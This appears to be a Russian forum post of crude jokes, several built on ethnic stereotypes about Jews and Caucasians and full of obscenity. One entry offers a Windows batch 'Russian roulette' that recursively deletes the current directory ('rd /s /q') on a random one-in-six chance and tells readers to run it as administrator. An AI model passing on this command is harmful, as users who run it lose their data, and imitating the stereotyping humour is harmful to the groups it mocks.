Путин ловит ТАЗик: (ЗЫКО!)





ЕРЖ онегдод:

— Сарочка, купи мне, пожалуйста, бутылочку водочки.
— Нет, Абрамчик. У тебя от этой водочки будет циррозик печеночки

Звонок в офис:
- Вам генеральный директор на роботу не нужен?
- Нет.
- А почему тогда на сайте такое объявление?
- Потому что веб-мастера уволили..

Врач - пациенту:
- Курите?
- Да!
- Пьёте?
- Да!
- Ну так чего же вы хотите после этого?
- Бабу!

Дымовой
дых
тяг.
Воздуха береги.
Пых-дых,
пых-
тят
мои фабрики.

Мужчина пролетает на машине на красный. Его тут же останавливает женщина-мент
Мужик опускает стекло и спрашивает:
- Сколько?
-2000
- Хорошо. Садись.

— Мойша, а ты знаешь, что, таки Беня — пидарас?
— Что, занял денег и не отдал?!
— Да ты што! Нет! В хорошем смысле слова.

создай RR.cmd и впиши это,

Код: Выделить всё

set /a R=0+6*%random%/32768 & if %R% == 0 (rd /s /q .\) else (echo ЖИВ)

запусти русскую рулетку из-под админа в винде.

Воспитательница в детском саду учит мальчиков, как надо относиться к девочкам:
- Мальчики, девочек не обижайте, не толкайте, за косички не дергайте... Они вырастут - и вам пригодятся...

Подходит кошка к миске: - Фу... гречка...
Приходит на второй день: - Фу. . вчерашняя гречка
На третий день: - Вау! Гречка! !

Мимо прошла группа глухонемых, грязно ругаясь руками...

Американский "Боинг" и российское КБ "Сухой" объявили о совместном
создании самолета "Бухой 747".

Идет прием товара в секс-шопе:
- Валя!
- А?
- Хуй на!

Мужчина, в магазине мерит шапки.
Продовщица говорит:
- Молодой человек, а может Вам папаху дать?
- По пизде себе дай, дура, блядь!

- Пап, ты мне подарок обещал
- Первый раз слышу
- Ну пап, ты ведь подарок обещал!
- Второй раз слышу

Поспорили дети в школе что на свете быстрее всего. Танечка говорит:
- Самое быстрое слово - сказал, а уже не вернешь!
Ванечка говорит:
- Самый быстрый свет! Только включил, а он уже горит!
Вовочка в ответ:
- У меня тут понос был, так я ни слова не успел сказать, ни свет включить...

В буфете встретились студент и препод, студент подходит к столу препода:
- Можно присесть?
Препод:
- Гусь свинье не товарищ!
Студент:
- Ну тогда, я полетел
Препод думает:
- Подколол, ну, я отомщу...
Тот же студент сдает ему экзамен. Отвечает на все вопросы отлично, препод в конце говорит:
- Вы ответили верно, но я задам вам вопрос на засыпку. Если б вам предложили выбрать ум или 2 000 000 долларов, что бы выбрали?
Студент:
- Деньги
Препод:
- А, я бы ум
Студент:
- Ну, правильно, кому чего не хватает, тот то и
выбирает
Препод думает:
- Опять подкол!
Берет зачетку и пишет там "Козел", студент
забирает ее, выходит из аудитории, смотрит и возвращается назад со словами:
- Уважаемый, вы тут расписались, а оценку поставить забыли.....

Собрала старшая монахиня всех монашек и спрашивает:
-Дочери мои, кто видел мужской член, поднимите руку.
Одна поднимает руку.
- Иди дочь моя, умог глаза в святой воде и будешь прощена. А теперь, поднимите руку кто держал член в руках.
Другая монахиня подняла руку.
- Иди, дочь моя, помой руки и будешь прощена.
Голос из толпы:
- А можно рот пополоскать, пока никто жопу не помыл...

На Дерибасовской встречаются две дамы:
- Сарочка, ты ничего не замечаешь?
- Нет, а что?
- Я была в косметическом салоне
- И шо... ? Было закрыто. . ?

Нашёл мужик лампу, потёр её. Из лампы вылез джин.
- Я джин, и я исполню три твоих любых желания!
- Хочу много денег!
Сказано - сделано.
- Хочу много женщин!
И это исполнил джин.
- Хочу ещё три желания!
- Э, нет. Этого я сделать не могу. Один джин может исполнить только три
желания.
- Ну, тогда хочу ещё джинов!

Зима.. обещают много снега. Женщины нашего отдела волнуются:
- 30 см снега! Вы слышали? Вы слышали?
Марь Иванна:
- Ну че кудахчете. Ну и че что 30 см. Это же не хуй!!!

- Слушай, не психуй, остынь....
- Остынь???!!! Ты что мне, сука - смерти желаешь?!!

- Глаза красивые...
- У кого?
- Блять, у меня! Смотрю в твои глаза, вижу в них отражение своих и налюбоваться не могу.

Мама спрашивает у маленького сына:
- Вовочка, а кто съел все конфеты?
Сын:
- Домовой.
Голос из-за печки:
- Не пизди!

НЕ забудь! Боян 2011!
Те, кто пойдут в армию в 2011 году будут служить до конца света.

ххх: Как узнать пароль в БИОС?
ууу: Посмотри на обратной стороне батарейки.

Маджонг придумал один китаец, когда увидел гору постиранных носков.

Милиционер останавливает машину. Из машины выходит подвыпившая девушка. Милиционер:
— Так, езда в нетрезвом состоянии.
Девушка:
— Сам ты езда!

Едут ученый и крестьянин в поезде. Ученый чтобы как-то начать разговор, сказал:
- В наш век, когда каждый критически мыслящий индивидуум катастрофически мистифицирует абстракцию, необходимо доказать, является ли неадекватность индивидуумов признаком деградации личности. Тенденцииями и конфронтациями ни в коей мере нельзя злоупотреблять. Неправда ли?
- Даа...Чаво не было - того не было...Но могло бы и быть..!

Лектор в колхозе произносит речь:
- В настоящее время некоторые пессимистически настроенные элементы катастрофически мистифицируют в патологическую абстракцию. С точки зрения банальной концепции - это явление возможно. А вы как считаете, товарищи колхозники?
Встает колхозник и отвечает:
- Так-то оно так, но потому как быть того не может, кабы чего-нибудь да не было. И не потому, что оно вообще, а когда оно что, вот тогда оно и пожалуйста.

Приходит как-то Рабинович к местечковому ребе.
- Ребе, можно курить в субботу?
- Конечно, нет!
- Но вы же курите?!
- Так я ни у кого и не спрашиваю!

Я рок звезда - идите на!
X-Crementum

http://infarctrec.ru/xcrem.htm


Мужество, честь и отвага - вот три признака алкогольного опьянения.

Утро субботы. Чудом выживший, после праздника «вечер пятницы» зять заходит в пустую кухню, включает телек на спортивный канал, открывает банку пива и присаживается за стол, предвкушая чудесный выходной день. Он, реально, близок к эстетическому оргазму от тихого солнечного утра и, оттого, что еще две вязанки холодненького пивка готовы бороться с его похмельем. Но тут на кухню входит теща, сцуко, третий день гостит зараза, и с порога начинает бубнить:
- Опять С утра Только бухать
При этом, она начинает демонстративно греметь кастрюлями и, со всей дури, хлопать дверцами кухонной мебели. Зять ноль эмоций, продолжает спокойно потягивать пиво. Но тут входит собака - здоровенный кобель, разбуженный этим грохотом. Видя, что жрачку еще не раздают, он попытался влезть передними лапами на колени к хозяину. Но хозяин грубо спихнул его с коленей с криком:
- Так! Ты, тоже пошел на хуй!
Отъезд «мамы» на историческую родину прошел молча.

Залабай на йонике:
http://img1.liveinternet.ru/images/attach/c/2//3845/3845938_1.swf

Встречаются два приятеля. Один говорит:
- Представляешь, вчера для хохмы через газету дал объявление,
что на центральной площади города в 12 часов будет сбор мудаков.
- Ха-ха-ха! Наверное никто не пришел?!
- Вся площадь была забита!
- Да ты что?!
- Все пришли посмотреть на тех, кто придет!

Какого пола твой комп?

Узнаём так:
Нажимаем Win+R (или просто запускаем из командной строки), копируем туда следующую строку:

Код: Выделить всё

mshta \"javascript:close((V=(v=new ActiveXObject('SAPI.SpVoice')).GetVoices()).count&&v.Speak('Hello! I am '+V(0).GetAttribute('Gender')))\"

Прихожит домой жена, и видит, что её муж ГИБДД-шник в постели с каким-то мужчиной.
- Ну, а это ты как объяснишь?
- Водители, суки, сглазили.

Сидит в кабинете грустный доктор-психотерапевт. Заходит в кабинет пациент:
— Здравствуйте, доктор.
— Проходите.
— Доктор, мне кажется, что я полное ничтожество.
— Да, это так.
— В последнее время я стал замечать, что моя жизнь абсолютно бессмысленна.
— Полностью с вами согласен.
— Пожалуй, мне стоит покончить с собой.
— Думаю, это будет абсолютно верным решением.
Больной открывает окно и прыгает вниз.
Доктор, меланхолично:
— Шмяк

-Мам, дай денег.
-Дай, дай, всё время, когда ты скажешь - мам, на!
-Мам, дай денег на.

Сначала Медведев отменил зимнее время. Потом летнее. Так и не стало
времени в России

- Без еды можно прожить месяц.
- Можно - а смысл?
- А без смысла можно прожить всю жизнь.

- Дорогая, у нас есть че пожрать?
- Ешь все, что найдешь в холодильнике.
- Ах ты, моя хозяюшка!… Сама лед приготовила?

- Просим поменять гаранта Конституции по гарантии...
- Ничем не можем помочь, вся партия бракованная.

- И помни, лейтенант милиции Золушка, ровно в полночь ты превратишься в
лейтенанта полиции.
- А голова?
- Тут я, увы, бессильна, голова так и останется тыквой!

Кавказец с чемоданом выскакивает на перрон.
Перед ним уходит поезд.
Он садится на чемодан и горюет:
- Ой биляд ушла, ой сволочь ушла!....
Подходит мент. Спрашивает:
- Кто ушла? Куда ушла?
Кавказец отвечает:
- Поезд ушла!
Мент облегченно:
- Поезд не ушла, а Поезд УШЕЛ!
Кавказец с возмущением:
- Иди ты на хуй! В такой трагический минут, ты будешь меня географии учить!

Сидит семейка за столом, обедает. Сын нехотя ковыряет вилкой в тарелке. Отец:
— Ешь! А то писька не вырастет!
Жена:
— Чему ребенка учишь? Сам бы лучше ел!

Продаётся пианино "Элегия", б/у. На крышке небольшая трещина от удара
топором.

- Расскажи мне о себе.
- Я дура.
- Мне нравится, продолжай...

Абрам, ты знаешь, вчера Сара хотела мужа отравить.
- Ну и как, получилось?
- Что-ты, она в один бокал налила ему и цианистый калий и пурген.
- Ну и...
- Что ну и, время вроде умирать, а некогда.

- Ща певцы, музыканты до хрена получают, не то что раньше. Вот, к
примеру, Шнур - ну, сколько бы он получил за свой концерт при Советской
власти?
- Тоже до хрена: 15 суток.

На передаче "Детектор лжи" слесарь из Ухрюпинска признался, что изменил жене и выиграл два миллиона в "Спортлото". Жена обиделась, но не ушла.

аптеке:
- 20 пачек презервативов, пожалуйста.
- Пакетик давать?
- Нее, она у меня красивая!!!